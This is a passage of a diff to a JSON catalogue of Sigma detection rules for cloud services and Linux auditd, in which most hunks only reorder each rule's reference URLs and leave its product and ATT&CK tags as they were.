"https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_enumeration.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_enumeration.yml", + "https://cloud.google.com/storage/docs/json_api/v1/buckets" ], "tags": [ "attack.discovery" @@ -4050,8 +4048,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://cloud.google.com/storage/docs/json_api/v1/buckets", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_modified_or_deleted.yml", + "https://cloud.google.com/storage/docs/json_api/v1/buckets" ], "tags": [ "attack.impact" @@ -4097,8 +4095,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://cloud.google.com/dns/docs/reference/v1/managedZones", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dns_zone_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dns_zone_modified_or_deleted.yml", + "https://cloud.google.com/dns/docs/reference/v1/managedZones" ], "tags": [ "attack.impact" @@ -4121,8 +4119,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html", + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_firewall_rule_modified_or_deleted.yml" ], "tags": [ @@ -4147,8 +4145,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html", + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_full_network_traffic_packet_capture.yml" ], "tags": [ @@ -4202,9 +4200,9 @@ "logsource.product": "gcp", "refs": [ "https://cloud.google.com/kubernetes-engine/docs", - "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_cronjob.yml", "https://kubernetes.io/docs/concepts/workloads/controllers/job/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_cronjob.yml" + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/" ], "tags": [ "attack.persistence", @@ -4231,10 +4229,10 @@ "refs": [ "https://github.com/elastic/detection-rules/pull/1267", "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole", - "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", - "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_rolebinding.yml" + "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_rolebinding.yml", + "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control" ], "tags": [ "attack.credential_access" @@ -4281,8 +4279,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_disabled_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_disabled_or_deleted.yml", + "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts" ], "tags": [ "attack.impact", @@ -4306,8 +4304,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_modified.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_modified.yml", + "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts" ], "tags": [ "attack.impact" @@ -4379,10 +4377,10 @@ "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_application_removed.yml", "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_application_removed.yml" + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION" ], "tags": [ "attack.impact" @@ -4405,8 +4403,8 @@ "logsource.product": "google_workspace", "refs": [ "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_granted_domain_api_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_granted_domain_api_access.yml", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS" ], "tags": [ "attack.persistence", @@ -4429,10 +4427,10 @@ "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_mfa_disabled.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_mfa_disabled.yml", + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION" ], "tags": [ "attack.impact" @@ -4455,8 +4453,8 @@ "logsource.product": "google_workspace", "refs": [ "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_modified_or_deleted.yml", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings" ], "tags": [ "attack.impact" @@ -4478,9 +4476,9 @@ "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_privilege_deleted.yml", "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_privilege_deleted.yml" + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings" ], "tags": [ "attack.impact" @@ -4502,9 +4500,9 @@ "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_user_granted_admin_privileges.yml", "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_user_granted_admin_privileges.yml" + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE" ], "tags": [ "attack.persistence", @@ -4527,9 +4525,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_by_terminated_user.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_by_terminated_user.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.impact" @@ -4551,9 +4549,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_anonymous_ip_addresses.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_anonymous_ip_addresses.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.command_and_control", @@ -4576,9 +4574,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_infrequent_country.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_infrequent_country.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.command_and_control", @@ -4601,9 +4599,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_data_exfiltration_to_unsanctioned_app.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_data_exfiltration_to_unsanctioned_app.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.exfiltration", @@ -4626,9 +4624,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_from_susp_ip_addresses.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_from_susp_ip_addresses.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.command_and_control", @@ -4651,9 +4649,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_impossible_travel_activity.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_impossible_travel_activity.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.initial_access", @@ -4676,9 +4674,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_logon_from_risky_ip_address.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_logon_from_risky_ip_address.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.initial_access", @@ -4701,12 +4699,12 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", "https://www.sygnia.co/golden-saml-advisory", + "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_new_federated_domain_added.yml", + "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", "https://o365blog.com/post/aadbackdoor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_new_federated_domain_added.yml" + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf" ], "tags": [ "attack.persistence", @@ -4729,9 +4727,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_potential_ransomware_activity.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_potential_ransomware_activity.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.impact", @@ -4754,8 +4752,8 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://attack.mitre.org/techniques/T1114/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_pst_export_alert.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_pst_export_alert.yml", + "https://attack.mitre.org/techniques/T1114/" ], "tags": [ "attack.collection", @@ -4778,9 +4776,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_inbox_forwarding.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_inbox_forwarding.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.exfiltration", @@ -4803,8 +4801,8 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_oauth_app_file_download_activities.yml" ], "tags": [ @@ -4827,9 +4825,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_unusual_volume_of_file_deletion.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_unusual_volume_of_file_deletion.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.impact", @@ -4852,9 +4850,9 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_user_restricted_from_sending_email.yml", "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_user_restricted_from_sending_email.yml" + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" ], "tags": [ "attack.initial_access", @@ -4877,9 +4875,9 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml", "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml" + "https://developer.okta.com/docs/reference/api/system-log/" ], "tags": [ "attack.impact" @@ -4901,9 +4899,9 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml", "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml" + "https://developer.okta.com/docs/reference/api/system-log/" ], "tags": [ "attack.persistence" @@ -4925,8 +4923,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", + "https://developer.okta.com/docs/reference/api/system-log/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml" ], "tags": [ @@ -4949,8 +4947,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", + "https://developer.okta.com/docs/reference/api/system-log/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml" ], "tags": [ @@ -4973,8 +4971,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", + "https://developer.okta.com/docs/reference/api/system-log/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml" ], "tags": [ @@ -4997,8 +4995,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", + "https://developer.okta.com/docs/reference/api/system-log/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml" ], "tags": [ @@ -5021,9 +5019,9 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml", + "https://developer.okta.com/docs/reference/api/system-log/" ], "tags": [ "attack.impact" @@ -5047,8 +5045,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", + "https://developer.okta.com/docs/reference/api/system-log/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml" ], "tags": [ @@ -5071,9 +5069,9 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml", "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml" + "https://developer.okta.com/docs/reference/api/system-log/" ], "tags": [ "attack.impact" @@ -5095,10 +5093,10 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml", "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", - "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml" + "https://developer.okta.com/docs/reference/api/system-log/" ], "tags": "No established tags" }, @@ -5118,8 +5116,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", + "https://developer.okta.com/docs/reference/api/system-log/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml" ], "tags": [ @@ -5142,9 +5140,9 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml", + "https://developer.okta.com/docs/reference/api/system-log/" ], "tags": [ "attack.impact" @@ -5166,8 +5164,8 @@ "logsource.category": "No established category", "logsource.product": "onelogin", "refs": [ - "https://developers.onelogin.com/api-docs/1/events/event-resource", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml", + "https://developers.onelogin.com/api-docs/1/events/event-resource" ], "tags": [ "attack.impact" @@ -5212,11 +5210,11 @@ "logsource.category": "No established category", "logsource.product": "qualys", "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.cisecurity.org/controls/cis-controls-list/", "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml" + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" ], "tags": "No established tags" }, @@ -5236,10 +5234,10 @@ "logsource.category": "firewall", "logsource.product": "No established product", "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/firewall_cleartext_protocols.yml" + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/firewall_cleartext_protocols.yml", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" ], "tags": "No established tags" }, @@ -5259,16 +5257,16 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/group_modification_logging.yml", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/group_modification_logging.yml" + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf" ], "tags": "No established tags" }, @@ -5286,10 +5284,10 @@ "logsource.category": "No established category", "logsource.product": "qualys", "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml" + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" ], "tags": "No established tags" }, @@ -5309,10 +5307,10 @@ "logsource.category": "No established category", "logsource.product": "No established product", "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml" + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" ], "tags": "No established tags" }, @@ -5332,11 +5330,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/workstation_was_locked.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/workstation_was_locked.yml", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf" ], "tags": "No established tags" }, @@ -5381,10 +5379,10 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://linux.die.net/man/1/arecord", "https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa", - "https://attack.mitre.org/techniques/T1123/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml" + "https://linux.die.net/man/1/arecord", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml", + "https://attack.mitre.org/techniques/T1123/" ], "tags": [ "attack.collection", @@ -5407,9 +5405,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml", "https://github.com/Neo23x0/auditd/blob/master/audit.rules", - "Self Experience", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml" + "Self Experience" ], "tags": [ "attack.defense_evasion", @@ -5456,9 +5454,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_file_accessed.yml", "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_file_accessed.yml" + "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor" ], "tags": [ "attack.execution", @@ -5483,8 +5481,8 @@ "logsource.product": "linux", "refs": [ "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml", + "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor" ], "tags": [ "attack.defense_evasion", @@ -5507,11 +5505,11 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml", "https://man7.org/linux/man-pages/man8/getcap.8.html", "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", "https://mn3m.info/posts/suid-vs-capabilities/", - 